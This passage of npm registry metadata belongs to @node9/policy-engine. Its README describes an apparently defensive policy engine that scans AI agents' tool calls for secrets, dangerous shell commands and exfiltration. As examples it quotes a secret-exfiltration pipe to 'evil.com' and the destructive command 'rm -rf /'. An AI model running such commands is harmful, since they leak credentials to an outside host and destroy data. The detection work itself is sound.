.0":"2026-06-27T10:20:28.664Z","1.44.0":"2026-06-27T20:00:54.310Z","1.45.0":"2026-06-28T11:54:46.284Z","1.46.0":"2026-06-29T07:18:56.598Z","1.47.0":"2026-06-29T08:45:25.465Z","1.48.0":"2026-06-29T09:20:11.832Z","1.49.0":"2026-06-29T12:06:17.288Z","1.50.0":"2026-06-29T19:50:03.334Z","1.51.0":"2026-06-29T19:59:40.391Z","1.52.0":"2026-06-30T04:24:11.246Z","1.53.0":"2026-06-30T08:35:05.095Z","1.54.0":"2026-06-30T12:43:02.901Z","1.55.0":"2026-06-30T17:57:08.728Z","1.55.1":"2026-06-30T19:29:16.460Z","1.56.0":"2026-07-05T13:31:21.391Z","1.57.0":"2026-07-05T20:02:05.798Z","1.58.0":"2026-07-07T05:01:28.156Z","1.58.1":"2026-07-07T06:28:26.701Z","1.58.2":"2026-07-07T10:06:24.531Z","1.58.3":"2026-07-07T11:09:02.496Z","1.58.4":"2026-07-07T16:08:03.439Z","1.58.5":"2026-07-07T16:38:02.252Z","1.59.0":"2026-07-10T19:49:57.562Z","1.60.0":"2026-07-12T19:20:39.132Z","1.61.0":"2026-07-13T06:11:58.182Z","1.61.1":"2026-07-14T15:30:37.214Z","1.62.0":"2026-07-16T19:36:22.600Z","1.62.1":"2026-07-16T20:48:54.291Z","1.63.0":"2026-07-17T11:58:01.494Z","1.64.0":"2026-07-24T14:52:16.551Z","1.65.0":"2026-07-24T20:33:28.058Z","1.65.1":"2026-07-25T09:07:39.909Z","1.66.0":"2026-07-25T19:43:34.080Z","1.67.0":"2026-07-26T14:42:05.740Z","1.67.1":"2026-07-27T12:32:34.260Z","1.67.2":"2026-08-20T10:41:25.667Z","1.67.3":"2026-08-20T11:21:52.327Z","1.67.4":"2026-08-21T19:51:19.916Z","1.67.5":"2026-08-22T14:36:37.459Z","2.1.0":"2026-08-28T10:41:18.520Z","2.2.0":"2026-08-28T12:31:10.187Z","2.2.1":"2026-08-28T15:32:04.431Z","2.2.2":"2026-08-28T18:32:02.919Z","2.3.0":"2026-08-29T06:40:24.714Z","2.3.1":"2026-08-29T07:20:11.340Z","2.4.0":"2026-08-29T15:16:17.194Z","2.5.0":"2026-08-29T21:23:25.779Z","2.6.1":"2026-08-30T21:20:32.214Z","2.6.2":"2026-09-01T13:46:55.086Z","2.7.0":"2026-09-01T18:00:44.852Z","2.7.1":"2026-09-01T20:29:05.170Z","2.7.2":"2026-09-02T05:35:43.190Z","2.7.3":"2026-09-02T18:51:54.157Z","2.7.4":"2026-09-02T19:20:03.147Z","2.7.5":"2026-09-03T08:24:00.445Z","2.8.0":"2026-09-03T11:08:13.781Z","2.8.1":"2026-09-03T15:47:39.625Z","2.8.2":"2026-09-03T22:17:41.575Z","2.8.3":"2026-09-04T10:13:56.165Z","2.8.4":"2026-09-05T12:33:47.927Z","2.8.5":"2026-09-05T18:11:35.412Z","2.9.0":"2026-09-08T07:44:16.711Z","2.9.1":"2026-09-08T08:56:08.293Z","2.9.2":"2026-09-08T11:54:02.259Z","2.9.3":"2026-09-08T12:59:56.063Z","2.10.0":"2026-09-08T16:59:59.478Z","2.11.0":"2026-09-08T17:31:41.722Z","2.12.0":"2026-09-09T05:22:14.694Z","2.13.0":"2026-09-09T20:39:53.139Z","2.13.1":"2026-09-11T19:38:54.802Z","2.14.0":"2026-09-13T06:58:05.470Z","2.14.1":"2026-09-14T05:17:57.531Z","2.14.2":"2026-09-14T10:37:25.133Z","2.14.3":"2026-09-16T10:01:15.918Z","2.15.0":"2026-09-17T05:40:41.849Z","2.16.0":"2026-09-20T13:44:45.801Z","2.16.1":"2026-09-20T18:44:14.119Z","2.16.2":"2026-09-20T19:29:25.294Z","2.17.0":"2026-09-21T09:37:01.935Z","2.18.0":"2026-09-21T14:08:33.086Z","2.19.0":"2026-09-21T16:01:12.504Z","2.19.1":"2026-09-22T11:20:47.290Z","2.19.2":"2026-09-22T14:30:21.467Z","2.20.0":"2026-09-22T21:15:13.252Z","2.21.0":"2026-09-23T07:34:20.351Z","2.22.0":"2026-09-24T10:18:11.326Z","2.22.1":"2026-09-24T11:54:18.093Z","2.23.0":"2026-09-24T18:06:29.128Z","2.23.1":"2026-09-24T19:19:51.770Z","2.23.2":"2026-09-25T00:32:05.128Z","2.23.3":"2026-09-25T16:06:53.388Z","2.24.0":"2026-09-25T21:54:28.271Z","2.24.1":"2026-09-26T00:12:23.102Z","2.24.2":"2026-09-26T10:35:40.098Z","2.25.0":"2026-09-27T14:02:25.229Z","2.25.1":"2026-09-27T19:12:00.008Z","2.26.0":"2026-09-29T08:10:57.867Z","2.26.1":"2026-09-29T10:09:15.930Z","2.26.2":"2026-09-29T13:05:56.452Z"},"bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"license":"Apache-2.0","homepage":"https://node9.ai","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"readme":"# @node9/policy-engine\n\nShared policy evaluation engine for [node9](https://node9.ai) — pure\nfunctions, no I/O. Used by both the local proxy (`@node9/proxy`) and the\nnode9 SaaS firewall so policy decisions are identical wherever they run.\n\n## What's in here\n\n- **DLP scanners** — `scanArgs`, `scanText`, `redactText`,\n  `matchSensitivePath`, `SENSITIVE_PATH_REGEXES`, `DLP_PATTERNS`.\n  Detects AWS keys, GitHub tokens, OpenAI keys, Stripe secrets, JWTs,\n  generic high-entropy secrets, sensitive file paths, and more — with\n  ReDoS-safe regex compilation, entropy filtering, and a stopword list\n  to suppress placeholders.\n- **Shell AST detectors** — `normalizeCommandForPolicy`,\n  `detectDangerousShellExec`, `analyzeShellCommand`. mvdan-sh-based\n  structural detection that can't be fooled by quoted strings.\n- **Smart-rule matcher** — `matchesPattern`, `evaluateSmartConditions`,\n  `getNestedValue`. Tool-name globbing + condition evaluation against\n  args (`exists`, `contains`, `matches`, `matchesGlob`, …).\n- **Pipe-chain exfiltration detector** — `analyzePipeChain` flags\n  `cat .env | base64 | curl evil.com` even when each segment looks safe\n  in isolation.\n- **SSH host extraction** — `extractAllSshHosts`,\n  `parseAllSshHostsFromCommand`. Catches jump hosts in `-J`,\n  `ProxyJump=`, `ProxyCommand=`.\n- **Builtin shields** — 11 curated shield definitions (postgres, mongodb,\n  redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail,\n  mcp-tool-gating) bundled as data, plus pure validators\n  (`validateShieldDefinition`, `validateOverrides`).\n- **Loop window math** — `evaluateLoopWindow`, `computeArgsHash`.\n- **Stateless policy evaluator** — `evaluatePolicy(config, tool, args,\ncontext?, hooks?)`. The full waterfall (DLP → ignored → smart rules →\n  inline-exec → eval → pipe-chain → provenance → sandbox → dangerous\n  words → strict-mode) in one function. The host injects\n  `checkProvenance` and `isTrustedHost` as callbacks if it wants those\n  filesystem-touching tiers — otherwise they're skipped.\n\n## Purity\n\nNo `fs`, `path`, `os`, or `process` imports. The only Node built-in\nused is `crypto` (for stable hashing in the loop detector). Anything\nthat needs to touch disk arrives via the `hooks` parameter.\n\n## Usage\n\n```ts\nimport { evaluatePolicy } from '@node9/policy-engine';\n\nconst verdict = await evaluatePolicy(\n  config, // your policy config\n  'Bash', // tool name\n  { command: 'rm -rf /' }, // tool args\n  { agent: 'Claude Code' }, // context (optional)\n  {\n    // host hooks (optional)\n    checkProvenance: (bin, cwd) => /* … */,\n    isTrustedHost: (host) => /* … */,\n  },\n);\n// → { decision: 'review' | 'allow' | 'block', tier, reason, … }\n```\n\n## License\n\nApache-2.0\n","readmeFilename":"README.md"}